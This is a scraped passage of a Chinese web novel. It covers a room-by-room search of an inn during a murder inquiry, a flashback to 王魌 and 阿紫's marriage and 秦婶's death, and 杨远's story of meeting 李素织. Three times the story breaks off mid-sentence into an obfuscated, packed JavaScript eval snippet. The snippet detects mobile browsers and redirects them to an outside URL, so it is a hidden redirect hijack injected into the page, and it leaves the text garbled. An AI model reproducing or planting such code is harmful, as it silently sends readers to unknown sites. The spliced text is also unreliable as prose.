尽管如此,晏熙他们还是仔细地搜查了每一个角落。晏熙提起张大虎的弓矢比划了几下,接着对准了楼下的李绍成,然后拉开弓刃。 王嗣和李素织连忙挡在李绍成面前,“晏大人,你这是要做什么?” 晏熙将弓刃收回,“我只是在想,如果是张大虎的话,他用这张弓来杀人会更顺手吧。” 张大虎的房间也没有东西,随后阿信、顺平还有师玄温让晏熙他们去查自己。“我们三人也相信山魅一说,而且房间都在一起,不如就一起查了吧。” 契苾月上前一步,“还是先查我的房间吧。查完我的再去他们三人的房间正好顺路。而且,即使到现在,我还是相信山魅一说。明武明礼之事与山魅无关,不代表其他事情也不是山魅做的,否则,十多年前洛阳校书郎一案又要作何解释?” 契苾月的房间内花香四溢,物品摆放井然有序,晏熙一时都不知道该从哪里下手,生怕自己弄乱了这里的秩序。 契苾月笑笑,“无妨,你们随意翻吧,我再放回来就是了。” 晏熙向契苾月致歉,“那就得罪了。” 契苾月虽是胡人,但随身物品却都是汉人所惯用的。若非她的长相,真的很难让人相信她其实是一个胡人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516311|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 随后晏熙一行人接连查看了师玄温、阿信还有顺平的房间。里面都是一些日常的东西,并没有什么特别的。 终于睡醒的丁文元稀里糊涂地走了过来,“诸位这是怎么了?是发生了什么吗?” 阿信给丁文元做了解释,“喜松和福砚找到了有人假扮山魅的东西,现在要搜查所有人。” 丁文元点了点头,“这样啊,那查吧。”他说着推开了自己的房门。 丁文元的房间较为凌乱,他不好意思地干笑两声,“不好意思了诸位,刚睡醒,还没来得及收拾。” 顺平看了一眼丁文元,“可是,你昨天晚上是在客堂里睡的啊。” 丁文元瞬间更尴尬了,“哦哦,忘了,忘了,不好意思,不好意思。”说着便走远了一些。 所有声称相信是山魅作祟的人皆已查完,并无所获。见此情形,李绍成与王嗣的脸色变得古怪起来。 此时杨远跳了出来,“现在该轮到我了吧?” 杨远的房间比起丁文元有过之而无不及。“我这次出门走的急,没带小厮,所以乱了点,你们不要介意啊。” 晏熙他们没找到什么有用的,倒是翻到了一大堆杨远醉酒后写的情书,开头无一不是“卿卿”。 杨远不好意思地将情书收了起来,“这都是我之前写的。昨天我听了晏公子的话,觉得你说的有道理,我现在应该发奋图强,而不是终日消沉下去,那之后我就没有再写了。” “接下来,先查我们几人的吧。”晏熙知道没有人会要求查他们几个人,于是自己主动提出。她看向其他三人,“你们没有问题吧?” “没有,去查吧。”商隐之摇了摇头。 “我们四人就不自查了,你们有谁想要去查吗?”晏熙问完,店内无一人表态。 最后苏云碧站了出来,“那不如就我去吧。我尽量不将诸位的东西弄乱。” 晏熙点了点头,然后看向李素织和秋琴,“不如李小姐和秋琴也一起去吧,正好做个见证。” 李素织站了起来,“好啊。” 等到晏熙气定神闲地喝完一壶茶,苏云碧和李素织等人查完归来,确定没有问题。 晏熙看向李绍成、王嗣还有李素织,“那接下来,就该你们了。” 李绍成的脸色有点难看,“晏大人,你我同为朝廷命官,怎可如此像对待罪犯一般探查?且被害之人是我的心腹,怎么看都不可能是我做的吧?” 晏熙叹了口气,“李县令,你我虽为朝廷命官,但在这间云娘店里,也都只是一位住客而已。不查恐怕难以服众啊。” 局面一时有些僵持,李素织出来打断,“不如先查我和秋琴的房间吧。” 李素织的房间里还放着她未完成的绣物,晏熙小心地拿起查看过后又放回原处,商隐之摸了一把上面的刺绣,“晏公子这么小心啊。”然后突然猛地抬起手,“嘶。” 商隐之举着手指看向晏熙,“被扎了。”晏熙看了一眼,没看见伤口,她轻笑一声,“让你不小心。” 秋琴的房间里多是一些和李素织有关的东西,都是她拿回来负责收拾整理的。因为明武明礼接连去世,所以还多了一些李绍成的东西,属于她自己的反而没有几件。 接着晏熙一行人去查看了王嗣和杜仲的房间。王嗣的房间里面东西尤其多,吃穿用度一应俱全,晏熙他们费了好一番功夫才检查完毕。 最后只剩下了李绍成的房间。一番权衡之后,李绍成要求只能晏熙和福砚两个人去看看,晏熙他们答应了。 李绍成房间里的宝贝可真不少,李绍成关起门后告诉晏熙,这些都是给她准备的,晏熙笑了笑,“好说好说。”然后坐下喝了杯茶,便带着福砚离开了。 所有人的房间都搜查完毕,晏熙便带着商隐之等人去检查剩下的房间。几个人忙活了一早上,却最终一无所获。 晏熙百思不得其解,“凶手要做案,势必要用到硫黄和幻药,这些东西,他能藏到哪里去呢?” 喜松想了想,“会不会是凶手已经将这些东西用完了?” 晏熙睁大了眼睛,“用完了?” 商隐之摇了摇头,“不可能,我们大多都是在来了云娘店之后和明武明礼偶然遭遇,凶手不可能正正好就携带了两人份的硫黄。除非,他早就知道明武明礼要来,也就早做好了要杀掉明武明礼的准备。” 福砚疑惑地看向大家,“可是,能提前知道明武明礼要来这云娘店的人,不是只有李大人他们吗?他们看起来,都不像是想要杀明武明礼的人啊。” 晏熙拍了拍福砚的小脑袋,“傻孩子,凭感觉判案是不可靠的。一个人给你什么样的印象不重要,重要的是证据。而且,除了李家人,还有两个人也知道明武明礼要来。” 晏熙和商隐之对视一眼,“从未真正出现过的‘一夕烟’以及杨远。” 16. 山魅阿紫·秋收 雝雝鸣雁,旭日始旦。士如归妻,迨冰未泮。① 八月,鸿雁南飞,赶在秋收之前,王魌和大家伙儿一同将打谷场修筑好。 九月,是王魌一年中最忙的时候,收割稻谷、晒谷入仓、秋种缴税全部都要在这一个月中完成。 王魌每日后半夜起床,为一家人准备好早午饭后便匆匆赶往田地。每日晌午,阿紫都会大大方方地来给王魌送饭,陪着他在田边歇一歇;到了傍晚,阿紫便会去接王魌回家,有时候秦婶会和阿紫一道前去,每每那时,王魌便会一手扶着秦婶,一手牵着阿紫,三个人说说笑笑回家给还在苦读的陈贤做晚饭。 十月,王魌和阿紫举行了婚礼。 在举行婚礼前,王魌带着阿紫去祭拜了他的父母。王魌认真的告诉父母,这是他喜欢的、想要共度一生的、和他们一样要生同寝死同棺的人。 “阿紫,你知道吗?小时候有一次,父亲在田间干活,我和母亲去山间采野果,等到回去的时候,我老远就看见父亲来接我们了。于是我兴奋地跑向父亲,还把自己捡到的一朵小花递给了他。结果父亲接过小花后看都没看我一眼,而是径直走向了母亲。” “他接过母亲手中的篮子,还把我给他的小花也递给了母亲。他就那样一手拎着篮子,一手牵着母亲,路过我时,只喊了一句,‘魌儿,走快点,别跟丢了。’” “后来我们回到了家中,父亲将我们采回来的野果洗了后端给母亲吃,我听到母亲抱怨说那些果子有些酸,不够甜,父亲接过果子咬了一口,然后说,‘哪里酸了?你采的都甜。’于是母亲也咬了一口,母亲说,‘明明就是酸的。’父亲便将那果子放到桌上,说‘那一定是王魌摘的,所以才这么酸。’” “后来父亲又重新挑选了一个果子,确定是甜的才递给了母亲。父亲把那一筐果子挨个挑选了一遍,把甜的都放了起来,还叮嘱母亲,‘这些看起来应该是甜的,你留着自己吃,让王魌吃剩下的那些就行。’” 王魌笑了两声,“可是我就在旁边看着呢啊,于是我站起来质问父亲为什么,父亲被我吓了一跳,他和母亲相视大笑,父亲说,‘你太黑了,蹲在那里我没看见,我还以为你出去玩了呢。’” 阿紫也跟着王魌笑了起来,“那后来呢?你吃到的是什么果子?” “后来啊,我吃到还是酸甜的果子,因为母亲不喜欢吃酸的,吃到要掉小珍珠的。”王魌望着远方,“那些最酸的,都是父亲自己吃了。” 阿紫拿布帛将王魌父母的墓碑细细擦抹干净,然后大声地向他们承诺,此后余生,不管是酸的果子还是甜的果子,她都会和王魌共享。 王魌摇了摇头,“我要像我父亲那样,绝对不会让自己的妻子吃到半点不喜欢的。” 虽然阿紫现在孤身一人,身边没有其他亲人,但王魌还是严格遵循了婚礼的每一项流程。 他找到十里八乡最有名的王婆去向阿紫提亲;拿着两个人的八字去进行占卜,带着两只大雁去进行纳吉,随后又准备了鸡鸭猪羊、米酒食器、铜镜石珪、买了两匹玄布连同秦婶准备的纁布一起当作聘礼送给了阿紫,还顺带将自己这些年攒下的银钱全部交给了阿紫。 阿紫一开始不愿意收下,王魌打趣到,“我将我自己的全部身家都交给你,以后你就是我们家的主事人了。” 王魌找人帮忙精挑细选了几个吉日,然后拿到阿紫面前询问她中意哪个,阿紫匆匆看了一眼,便偏过头去,“都是很好的日子,哪一天都可以。” 王魌知道阿紫害羞,却偏要看着阿紫,“都可以的话,那我可要选最近的那一个了。” 王魌蹲下身,认真地看向阿紫的眼睛,“因为我迫不及待,想要成为你的夫君。” 婚礼前两日,阿紫暂时搬到陈家与秦婶同住,婚礼当日,虽然两家仅有一墙之隔,王魌还是准备了一口花轿。 黄昏之时,在青卢之内,王魌为阿紫洗手净面,二人同牢合卺,解缨结发。王魌握住阿紫的手,用眼神细细描摹过阿紫的眉眼,“初见你时,我便心动不已。原以为朝夕的相处可以习以为常,却不想,在此后的日子里,我每多见你一眼,心中便多雀跃一分。”王魌将阿紫的手放在自己的心口,“我王魌在此起誓,从此之后,它只为你而跳动。” 王魌送给阿紫当作聘礼的那些鸡鸭猪羊,都被阿紫很好地养了起来。 马上就要入冬,为了冬天更好过一点,王魌每天都去野外割茅草,然后回来将茅草搓成绳索用于修补和加固房屋。王魌去割茅草时,会特意走得远一点,割点新鲜的草料回来交给阿紫,让她用来喂猪羊。 阿紫每天在喂鸡鸭猪羊的时候,都会和它们说说话,像招待朋友一样招呼它们快来吃饭。吃完饭后阿紫会打开圈门让他们出来散散步,之后再赶回去。 初时阿紫没有经验,放出来没有看住,那些鸡鸭猪羊便跑了出去,阿紫只好一路狂追,它们却四散而去。最后直到天黑才在邻居们的帮助下将它们一一找回。 阿紫抱着最后一只逃走的羊灰头土脸的回到家中,放下羊后委屈极了。王魌将阿紫揽入怀中,用手绢抹去阿紫脸上的泥土,安慰她不要伤心。隔日又专门教了阿紫该怎样驯服这样小动物。 后来阿紫有了经验,再遇到不听话的,就会狠狠地威胁它们,“不听话,等到冬天过年就先把你吃了。” 王魌在一旁暗笑出声,只觉得阿紫分外可爱。 十一月的某一个早上,和平常一样,王魌做好饭之后准备端到隔壁和秦婶陈贤一起用膳。 阿紫跟着王魌一同来到隔壁,两人一进屋便看见陈贤端坐在窗前,他手中举着书,嘴里念着词,脑袋却歪靠在肩膀上还闭着眼。阿紫和王魌看向他时,他还正好打了个哈欠,阿紫和王魌相视一笑,王魌喊了陈贤一声,让他先过来吃饭,阿紫则去房中扶秦婶出来。 陈贤揉着眼睛往桌旁走,他用鼻子闻了闻,然后伸出手试图揭开盖,“哥,今天做的什么什么好吃的呀?” 王魌一巴掌打掉了陈贤的手,“秦婶和阿紫还没有过来呢。不许乱动。” 陈贤收回手,“是是是,昨天阿紫偷偷掀盖你明明看见了,怎么不说她啊?” 王魌连眼睛都没抬,“她就看了一眼而已。再说了,我本来就是给她做的,她先吃了也正常。” 陈贤长大了嘴巴,“哥,你这区别对待也太明显了吧,你不能有了媳妇就忘了弟弟啊。”陈贤搂住王魌的一个胳膊矫柔作态,“魌哥哥,我不是你最疼爱的贤弟弟了吗?” 王魌拍了陈贤额头一个巴掌,“中邪了你?” “夫君,陈贤,你们快过来。”阿紫的声音带着惊慌,王魌和陈贤停止了打闹立刻起身进屋。 秦婶是在睡梦中离开的。 王魌和陈贤双双跪倒在地,两个人握着秦婶已经冰冷的手,久久不愿意相信。 陈贤失魂落魄,不知所措。阿紫和王魌扶起瘫软无力的陈贤,让他倚靠到床上。 陈贤这些年只顾着读书,其他事物一概不甚了解,状态又差,于是王魌帮他安排了秦婶的葬礼。 其实王魌也是第一次独自做这种事。上一次他办的,还是他自己父母的葬礼,那个时候秦婶在一旁一点一点耐心地指导他要做些什么。王魌曾下意识以为自己再也不需要做这件事了,他以为秦婶会这样一直陪着他。 不久前这里还是红红火火的一片,眼下却都变成了素白。 送走秦婶的那一天,陈贤哭到声嘶力竭,倒地不起,几愈晕厥,最后是王魌将他背回了家。 “哥,我没娘了。”陈贤在王魌的背上小声嗫嚅。 “你还有哥,还有嫂嫂,秦婶走了,以后家里就剩我们三个人了,我和阿紫会照顾好你的。”阿紫在一旁引路,陈贤一步一步跟在后面。 从那天之后,家里便冷清了许多。 王魌一如既往地忙碌,一边操持自己刚和阿紫组建的小家,一边照顾陈贤;阿紫原先每天喂完自己的鸡鸭猪羊,便会去隔壁喂喂秦婶家的鸡鸭,然后扶着秦婶晒晒太阳,到处走走,陪着秦婶说说话,可现在只剩下了喂鸡鸭这件事。好多次阿紫喂完鸡鸭后下意识转身喊秦婶,话都出口了又骤然停下,秦婶不在了,心里总觉得空落落的。 而陈贤的表现则更为明显,他像失了魂一般整日无所事事。他不再每日早早起床读书,也不再梳洗打扮,而是喜欢像个游魂一般藏在屋里的某个角落。 某日阿紫去叫他吃饭,却没在屋中找到他。阿紫心慌地叫来了去割荒草的王魌,生怕陈贤出了什么事。 最后阿紫和王魌是在秦婶房中的柜子里找到陈贤的。陈贤怀里还抱着秦婶的衣服。 王魌耐心地哄劝陈贤从柜子里出来,阿紫想说点什么劝一劝,王魌摇头制止了。这个时候,说什么都没用。 “那我们就这样看着他日渐消沉下去吗?”阿紫不解地询问王魌。王魌叹了口气,“秦婶离开的太突然了。我们给他一点时间,他会慢慢好起来的。” 天气渐渐转寒,王魌买了一大块皮毛回来给阿紫和陈贤一人做了一套御寒的衣服。 阿紫小心翼翼地把衣服捧在手上,“那你呢?”王魌摸了摸阿紫的脸,“我身强力壮,不怕冷。” “怎么会不怕呢?”阿紫明显不信。王魌将阿紫揽在怀中抱紧,“因为我怀里有你啊。” 眼看阿紫要生气,王魌连忙解释,“你不用担心我,我那里还有一件旧的可以用来御寒,等到明年我再努力一点,给咱们一人准备一件好不好?” 阿紫将自己的那件改了改,然后给了王魌,“我整日都在家里,也不怎么出门,这件给我也是浪费,还是你拿去穿吧。” “不行。虽然咱们家你是主事人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516312|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是这件事你就听我的吧,好不好?我答应你,我一定不会让自己冻着。”王魌又将衣服改了回去。 大年三十,王魌买了半扇猪,杀了一只鸡,做了几道菜然后拿去隔壁和陈贤一起草草吃了一顿算作年夜饭。 陈贤吃到一半才反应过来,原来今天已经过年了。陈贤向王魌和阿紫致歉,“哥哥,嫂嫂,抱歉啊,我都不知道今天原来过年了,这些日子都是你们照顾我,我也没给你们准备点什么。” 王魌和阿紫摇了摇头,王魌说,“明年我们都要好好的。” 新年过后,王魌正在准备春种,阿紫突然跑过来找到他,“魌哥,咱们家的猪好像有孕了。” 王魌放下手中的东西便跑了出去,他仔细检查一番,确认无误。“太好了,这样等到今年过年,咱们就能吃到阿紫养出来的猪肉了。” 阿紫摸了摸她养的猪,“可是养了这么久,要说吃它们的话,我还有点舍不得呢。” 王魌捏了捏阿紫的脸,“你舍不得那咱们就不吃了,我还去外面买。”阿紫摇了摇头,“养它们就是为了吃的,要是只一窝一窝地生,那家里该养不了了。” “那我就把咱们家再扩建一下。建一个大大的猪圈好不好啊?到时候养一堆小猪给你玩。” 正在这时,有人来告诉王魌,他被征召入伍了,诏书已经下来了。 阿紫扑进王魌的怀中,不舍又无奈。王魌拍了拍阿紫的后背安抚她。“不过两年而已,很快我便会回来了。” 王魌带着阿紫去祭祀了宗庙。 本来按照规矩,还需要在等一段时间,但王魌马上就要走了,于是他提前带着阿紫去了宗庙,告诉所有王家的先祖,阿紫是他的妻子。 他将自己家和隔壁陈家的大小院落一一检查过去,有问题的地方全部打点修整好,还交待了附近的邻居帮忙照应。 他将家中储备的粮食一一清点,家中原本贮存了一年的粮食,现在秦婶突然离世,王魌又要去服兵役,只剩下阿紫和陈贤,这些粮食刚好够他们食用两年。 将自己要做的全部完成后,王魌拿着盆、水、布巾和剃刀敲开了陈贤的房门。 他把陈贤拉到院中,让阳光直射陈贤的脸。“你看看你现在什么样子。胡子拉碴,衣冠不整,你还有没有一点读书人的样子?” 陈贤懒散地胡乱站着,伸出手挡了挡眼睛,“哥,我娘刚去世,我还不能剃须呢。” 王魌正色看着陈贤,“你知道你娘离开多久了吗?”陈贤一时语塞。这些日子他早就不知道今夕是何夕了。 王魌打湿布巾沾上陈贤的脸,“秦婶走了我知道你难过,可是你这个样子,只会让秦婶失望。她最大的心愿是什么你是知道的,你还想让她等多少年才能如愿?” 陈贤推了推王魌准备帮他剔胡子的手,“哥,这些我都知道的,可我现在不是在守丧吗?” 王魌停下手,“已经三个月过去了,你准备再守多久,三个月,三年还是一辈子?” “我娘一个人养我长大,她去世了我心里难过,我就想为她多守一会儿丧期有错吗?”陈贤大喊了出来。 “当然没错。可是秦婶是走了,你却还活着,人活着就得继续向前走。你现在是在逃避,你是在借着这个借口躲起来。骤然失去父母是什么样的滋味我清楚,我本来也愿意让你多躲一会儿的,可是我马上也要离开了,难道你还要继续自己躲着让阿紫独自撑起这个家吗?” 王魌将陈贤摁在椅子上,再次用沾了水的布巾为他擦脸,陈贤没有再抗拒,片刻过后,他突然抱住了王魌的腰,“哥,我难受。” 王魌轻轻拍了拍陈贤,“我知道,哥在呢。” 王魌离开前一天,将家中上上下下打理的井井有条,所有事物准备的一应俱全,他叫来陈贤和阿紫,将接下来两年间他们需要自己做的事物一一交代。 那日之后,陈贤不复之前颓废的模样,又开始读起了书。他虽仍未完全恢复往日的神采,却较之之前精神了许多。 王魌将一应事物交代完毕,“明天我就走了,等我回来的时候,要看到你们两个都好好的。” 陈贤用力地点了点头,“哥,你就放心去吧,家里一切都有我呢。” 离开家门前,王魌最后抱了抱阿紫,“我走了之后你要照顾好自己。”阿紫点了点答应,“好。” “顺便也看着点陈贤。”“我会的。” “家里什么都准备好了,你平时不要让自己太过劳累,有什么需要的,指挥那小子去干就可以。要是想我了,可以给我写信。”阿紫红着眼睛笑了笑,“你就放心吧,我会好好的,和陈贤一起等你回来,不过说不定那个时候,陈贤已经是孝廉了。” “希望如此吧。等我回来。” 阿紫送王魌走了一里又一里,直至王魌的背影,消失在天际之中。 17. 草木青山 金风玉露一相逢,便胜却人间无数。① 再次见到杨远,晏熙开门见山,“你喜欢的人,就是李素织吧?” 杨远坦然自若,“是。” “李县令禁止了你和李姑娘之间的往来。” 杨远看了晏熙等人一眼,“是。” “你不愿意,李县令便派明武明礼威胁了你。” 杨远的回答带上了一丝迟疑,“是。” “你来此地并不是因为这里安静,而是因为你早就知道,李姑娘会来这里。” 杨远的眼神充满了戒备,“你是怎么知道的?” 晏熙笑笑没有回答,“杨公子,不如你仔细来为我们讲讲吧。” 杨远抬起下巴,“凭什么,这是我的私事。” 晏熙不慌不忙起身单手扶上杨远的肩膀拍了拍,“杨公子,我们现在怀疑假扮山魅杀害明武明礼之人,其实早就知道了他们的行踪,所以提前埋伏在这云娘店中伺机而动。现下提前知道明武明礼会来的,除了李家人和王大善人,可就只有你了。” 晏熙捏着杨远肩膀的手用了点力,“明武明礼本就是李家人,王大善人又一向与李家交好,对明武明礼也是向来客气。杨公子,你猜这些人当中,谁的嫌疑最大?” 商隐之跟着补充道,“昨夜我们游戏之时,你拿到了道士牌,刚开局第一夜,你便迫不及待地毒杀了李县令,第二夜时还对已经被毒杀出局李县令用眼神进行了挑衅。我看你对李县令等人的恨意,由来已久啊。这便让人不得不怀疑,如果在现实生活中,有这么一个机会出现在你眼前,你是不是也会当机立断,即刻行动。” “你昨夜邀请我们大家一起游戏,便是为了如此吗?商公子,真没看出你居然是这种人。你们怎可拿一个游戏当作证据?那都是不作数的。”杨远为此感到恼怒。 晏熙笑了笑,“作不作数我们自有评判。你若什么都不肯讲,我们便只有拿这些东西来推断了。” 杨远动了动嘴唇,他低了低半边身体让自己的肩膀脱离晏熙的手,“我说就是了,你们可别冤枉好人。” 杨远与李素织是在一年前的元宵灯会上相识的。 彼时灯会上热闹非凡,杨远一不小心便和一同出游的好友走散了。他在来来往往的人群中四处寻找着好友的身影,却意外看到一个中年男子正在偷窃两个女孩的钱袋。 那两个女子被眼前精美多样的面具迷了眼,正在兴高采烈地挑选着,那中年男子拿到她们的钱袋后拔腿就跑。 杨远大喊一声“抓贼啊”便追了上去,一直追到一座酒楼门口,跑得上气不接下气的杨远才终于抓住了那贼人。 “你,你快把刚刚偷的钱袋交出来。”杨远拎着那人的衣领向他讨要两个女孩的钱袋。 那人挣了挣却没能从杨远的手下挣脱开。于是开始睁眼说瞎话,“你胡说什么呢?谁拿你的钱袋了?你怕不是没钱花想讹人?” 杨远瞪大了眼睛,“我讹人?我?讹人?你知道我是谁吗?我讹你?” 见周围有人围了上来,那男人一下子站直了身体,“元宵佳节,我正准备来这酒楼喝点小酒,不知道从哪儿冒出来个你,突然扯着我的衣领让我把钱袋给你,你这不是讹人是在做什么?真扫兴。” “你你你,你血口喷人!明明是刚才我看见你偷了两个女孩的钱袋,追了你一路才追到这里,你要是不服,就把你的钱袋拿出来让大家看看。”杨远平时被家里人甚是宠爱,还是第一次遇到这么无赖的。 男人依旧一脸无赖相,“我的钱袋凭什么给你看?哎呦我说,我真是到了八辈子霉了,怎么遇上你这么个人?还想看我的钱袋,没门。” 杨远大笑一声,“哈,怎么样,心虚了吧?”杨远看向周围的围观人群,“诸位,你们看看啊,这个人他心虚了,他不敢把自己的钱袋拿出来!” 男人气势汹汹地喊道,“不是,我怎么就心虚了?你是哪儿冒出来的非要看看我的钱袋啊?这世上难道无论是谁想看我的钱袋我便都要拿出来给他们看吗?” 周围的人群纷纷议论起来,有的说让中年男人把钱袋拿出来给大家看一看,看完了就没事儿了。有的说这小年轻太无礼,哪有想看别人钱袋就看的。 杨远一时气不过,直接上手抢了男人怀里的钱袋,他把钱袋高高举起来,“诸位看啊,你们看看这钱袋的样式,这是男人用的吗?” 中年男人一把抢了回去,“这是我刚刚给我的两个女儿新买的,打算回去送给她们。”男人眼珠一转,“哦,我说呢,你怎么这大街上这么多人非要追着我不放,原来是早有准备,从我开始买这两个钱袋的时候你就盯上我了吧?别以为这样我就会给你钱。” 杨远气到涨红了脸,“我没有,你在睁眼说瞎话。”杨远扯住男人的一条胳膊,“不行,既然这样,那你就跟我去见官。” 周围的人群越来越多,有的说没看出来,这小年轻有手有脚不去干点正经营生,却来敲诈勒索;有的说这男人怕不是真的偷了别人的东西,不然这青年怎么敢提报官。 场面一时焦灼不下,双方都坚持是对方在瞎说,正这时,楼上一壶酒洒在了中年男人身上。 男人抹了一把脸,抬起头大骂,“谁啊,没长眼睛啊,怎么往别人身上倒酒啊?” 不一会儿,一个女子走了出来,她面若桃花,双目含情,“这位大哥,真是抱歉,酒壶太重,我一时没拿稳,这才不慎将酒洒在了您身上。不如这样,您先跟我进去,我帮您擦一擦,然后重新给您准备身衣服,顺便请您喝两杯酒赔罪。” 男人见有人要赔自己一身新衣服,还要请自己喝酒,便立刻答应了。 男人跟着那女子便要进酒楼,杨远一把拉住了男人,“不行,他不能走,他偷了别人钱袋还没还呢。” 那女子上前一步,“你说这位大哥偷了别人的钱袋,可有证据?” 杨远着急道,“我亲眼看见了,还要什么证据啊?” “你既然亲眼看见了,那不如说说这位大哥是在哪里偷的,又是如何偷的。” 一路追着这个男人跑过来,杨远也分不清刚才的方向是在那边,他四处看了看,“刚刚追着他乱跑一通,我也记不得方向了,但是刚才他是在一个面具摊前偷的人家两个小姑娘的钱袋。” “哦,原来你不记得方向啊。”那女子轻轻一笑,“那我再问你,你口中那两位丢了钱袋的姑娘呢?她们怎么不来找啊?钱袋丢了不着急吗?” 杨远急得团团转,“她们,也许她们还没发现自己钱袋丢了,也许她们发现钱袋丢了,但不知要去何处寻找啊。” “这位公子,所以你无凭无据,既没有人证也分不清方向,但是单凭一张嘴,就断定这位大哥是窃贼了?”那女子轻蔑地看了一眼杨远。 周围的人群也偏向了中年男人。杨远初见那女子把酒泼到男人身上时,还曾心生好感,但此时见那女子与中年男人一起颠倒黑白,顿时觉得好感全无。 “可我说的,都是真的啊。” 那女子看着杨远,“这位公子,你休要再胡闹了,做事是要讲究证据的,你既拿不出,那我要带这位大哥进去向他赔礼了。”女子冲着中年男人笑了笑,“大哥,里面请。” 中年男人从杨远面前走过,还傲慢地冷哼一声。那位女子特意交代她身边的丫鬟,“秋琴,你去为这位大哥准备一身新衣服。”然后便和中年男人一起进入了酒楼。 周围的人群渐渐散去,杨远想跟着进去,却被门口的大汉拦下。他只好蹲在酒楼门口,等着中年男人出来。 不多时,刚才那位小姐身边叫秋琴的小丫鬟跑了出来,小丫鬟手中抱着两坛酒和一堆衣服,然后将被中年男人偷走的两个钱袋交给了杨远。 杨远诧异地看向秋琴,“这是?” 紧接着刚才那位小姐也走了出来,“这位公子,对付这种张口胡言的无赖,是要用点脑子的。” 杨远接过钱袋,喜上眉梢,“所以你刚才,是故意的?” 那位小姐轻轻笑了笑,没有作声。 “那你泼那个男人一身酒,也是故意的?” 秋琴给杨远看了看自己怀中抱着的东西,小声说道,“不止呢,我家小姐把他哄骗进酒楼,骗他脱了衣服,还点了两坛最贵的酒记在了他的名下。”秋琴窃笑出声,“这会儿,他还在房间等着我们小姐请他喝酒呢。” 那位小姐看了看秋琴怀中的东西,“这衣服就扔了吧。”然后取过其中的一坛酒递给了杨远,“这坛酒给你了,就当作,是声张正义,见义勇为的回报。” 那位小姐说完便离开了,杨远痴痴地站在原地,眼看那位小姐坐上轿子要走了,才开口,“这位小姐,我叫杨远,你呢?” 那位小姐低头和秋琴说了些什么,便上了轿子,秋琴转过身来大声说道,“我家小姐说,区区姓名,不足挂齿。” 杨远找了好久才找到面具摊,那两个小姑娘正站在那里急得掉眼泪,杨远连忙将钱袋还给两位姑娘,提醒她们以后要多加小心。两位姑娘对杨远千恩万谢,杨远不好意思地挠了挠头,“其实我也没做什么,是一位好心的小姐帮你们拿回来的。” 两位小姑娘于是让杨远挑一张面具,当作她们的谢礼送给那位姑娘,杨远一眼便看到了一张白面桃花狐狸的面具。面若桃花的小狐狸,可真是像她。 失散了许久的朋友终于找到杨远时,便见他呆坐在路边,痴痴地望着一坛酒和一张面具傻笑。 杨远再次见到李素织,已是春日。 杨家举办了春日宴,邀请了全晋桑县所有的少爷小姐一同前来参加。杨远叹了口气,他知道家里人的意思,是想他尽快选中一门亲事,所以平日里最喜欢热闹的杨远对此兴致缺缺。 但作为这样宴会的主办人,杨远总不能躲起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516313|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是他带着兄弟们去了赛马场准备一决高下。 杨远刚走到赛马场,一位与他交好的公子便走上前来,惊讶地看着杨远,“诶?原来刚才那位不是你啊?”杨远疑惑地看着那人,“什么意思?” “啊,没什么,就是刚才有人表演了一出百步穿杨,这不是你惯常的节目吗?所以我还以为那人是你呢。”那位公子解释道。 杨远提起箭便冲了过去,“是谁啊,这么大的胆子,敢抢小爷我的风头。” 见到那人时,杨远呆立在了原地,“怎,怎么是你啊。” 那人摘下头盔,回眸一笑,竟是元宵灯会上的那位小姐。“杨公子,我刚刚表演完才得知百步穿杨是你的绝活,我抢先一步,你该不会介意吧?” 杨远身上气焰全无,痴笑着说道,“不会,不会,当然不会。” 身旁的好友见杨远变脸如此之快,皆目瞪口呆。 杨远终于得知了她的名字,原来她是李素织,当今晋桑县县令李绍成的女儿。 杨远将那张面具送给了她,告诉她是那位被偷钱袋女孩的答谢礼。 自那之后,杨远便常常送上拜帖,请李素织一同出游,李素织才学精绝,既擅女工又通六艺,接人待物如沐春风,及至夏日,确定了自己的心意之后,杨远将此事告诉了自己的家人及朋友。 意外的是,他身边亲近之人都劝他不要作此念想。他的母亲告诉他,她曾与李县令的夫人接触过,李小姐将来是要做人中龙凤的,晋桑虽是上县,却也比不上长安洛阳的世家。 杨远不认为李素织是要一心攀附权贵之人,于是他亲自登门拜访,表明来意。 李绍成掐了掐自己的胡子,请他回去,说他不是李素织的良人,李素织也不会喜欢他的。 杨远不相信,说要亲自问问李素织。李绍成冷笑一声,“素织是不会再见你的。”说着便让明武明礼将杨远赶了出去。 从此杨远递到李家的拜帖再也没有了回信。秋日之时,晋桑县举办了中秋宴。一开始杨家并没有将这个消息告诉他,杨远听闻此事后说自己也要去,母亲劝他不要,“李县令和李小姐也会到场,到时只是徒惹你伤心罢了。” 